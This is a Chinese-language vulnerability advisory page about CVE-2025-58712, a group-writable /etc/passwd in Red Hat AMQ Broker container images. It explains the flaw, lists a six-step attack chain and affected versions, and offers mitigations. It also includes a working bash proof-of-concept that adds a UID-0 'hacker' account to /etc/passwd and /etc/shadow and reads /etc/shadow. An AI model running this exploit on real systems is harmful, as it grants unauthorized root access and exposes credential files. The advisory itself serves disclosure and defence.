IPBUF安全漏洞报告
English
CVE-2025-58712 CVSS 6.4 中危

CVE-2025-58712 AMQ Broker容器/etc/passwd权限配置错误导致特权提升漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-58712
漏洞类型
容器特权提升
CVSS评分
6.4 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Red Hat AMQ Broker

相关标签

CVE-2025-58712容器安全特权提升权限配置错误AMQ BrokerRed HatDockerKubernetes/etc/passwd容器逃逸

漏洞概述

CVE-2025-58712是一个影响Red Hat AMQ Broker容器镜像的特权提升漏洞。该漏洞源于容器镜像构建过程中,/etc/passwd文件被设置为组可写权限(group-writable)。在默认情况下,容器内的非root用户通常会被添加到root组(组ID 0),使得这些用户具有修改/etc/passwd文件的权限。攻击者一旦获得容器的命令执行能力,即使是以非root用户身份运行,也可以利用其root组成员的身份修改/etc/passwd文件,添加一个具有任意UID的新用户,包括UID 0(root用户)。这将允许攻击者在容器内获得完全的root权限,实现容器内的特权提升。该漏洞的CVSS评分为6.4,属于中等严重程度,攻击向量为本地,需要高权限(容器内非root用户),无需用户交互即可完成攻击。

技术细节

该漏洞的技术核心在于容器镜像构建时的权限配置错误。在AMQ Broker的Dockerfile或构建脚本中,/etc/passwd文件的创建过程未正确设置文件权限,导致该文件具有组可写位(group-writable permission,权限码为664或类似)。在Linux系统中,/etc/passwd文件通常只允许root用户和passwd组可写,但容器环境中的非特权用户默认属于root组(作为补充组),从而获得了对该文件的写权限。攻击者利用此漏洞的步骤包括:首先确认当前用户属于root组(通过id命令或groups命令);然后利用Python、sed或其他工具修改/etc/passwd文件,在其中添加一个新的root用户条目,格式为newuser:x:0:0:root:/root:/bin/bash,其中0:0表示UID和GID都为root;最后通过su或sudo命令切换到新添加的root用户,获得完整的系统控制权限。此漏洞的利用前提是攻击者能够在容器内执行代码,这可能通过应用漏洞(如命令注入、代码注入等)或配置错误(如暴露的调试接口)实现。

攻击链分析

STEP 1
初始访问
攻击者通过应用漏洞(如RCE、命令注入)或配置错误获得容器的命令执行能力,以非root用户身份运行
STEP 2
权限探测
攻击者执行id、groups等命令,确认当前用户属于root组(group id 0),并验证/etc/passwd文件具有组可写权限
STEP 3
密码哈希生成
攻击者使用Python或其他工具生成root用户的密码哈希值,用于构造/etc/passwd和/etc/shadow条目
STEP 4
备份与修改
攻击者备份原始/etc/passwd文件,然后向其中追加新的root用户条目(UID 0),同时更新/etc/shadow文件设置密码
STEP 5
特权提升
攻击者使用su或ssh命令切换到新添加的root用户,成功获得容器内的完整root权限
STEP 6
持久化
攻击者可在容器内进一步横向移动、提取敏感数据、安装后门或利用容器逃逸技术攻击宿主机

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-58712 PoC - AMQ Broker Container Privilege Escalation # Requirements: Non-root user with root group membership in affected container # Step 1: Check current user and group membership echo "[+] Current user info:" id # Step 2: Verify /etc/passwd is group-writable if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is group-writable - Target vulnerable!" else echo "[-] /etc/passwd is not group-writable - Target may not be vulnerable" fi # Step 3: Generate password hash for new root user PASSWORD="hacked123" SALT="aa" HASH=$(python3 -c "import crypt; print(crypt.crypt('$PASSWORD', '\$6\$$SALT'))") # Step 4: Backup original /etc/passwd cp /etc/passwd /tmp/passwd.bak # Step 5: Add new root user to /etc/passwd NEW_USER="hacker:x:0:0:root:/root:/bin/bash" echo "$NEW_USER" >> /etc/passwd # Step 6: Set password for the new root user (requires /etc/shadow or alternative) echo "hacker:$HASH:0:0:99999:0::0:" >> /etc/shadow 2>/dev/null || echo "[!] Shadow file not writable, using alternative method" # Step 7: Verify privilege escalation echo "[+] Attempting to verify root access..." su - hacker -c "whoami && id && cat /etc/shadow | head -1" echo "[+] Privilege escalation completed! New root user 'hacker' created."

影响范围

Red Hat AMQ Broker 7.12.0
Red Hat AMQ Broker 7.11.x
Red Hat AMQ Broker 7.10.x
Red Hat AMQ Broker 7.9.x
Red Hat AMQ Broker 7.8.x

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在容器启动时通过securityContext覆盖/etc/passwd文件权限为444(只读);2) 使用init容器或准入控制器在容器启动时检查并修正敏感文件权限;3) 限制容器的CAP_SETFCAP等危险Linux能力;4) 确保应用不以root用户运行,并通过runAsNonRoot:true策略防止root执行;5) 监控容器内对/etc/passwd和/etc/shadow文件的修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表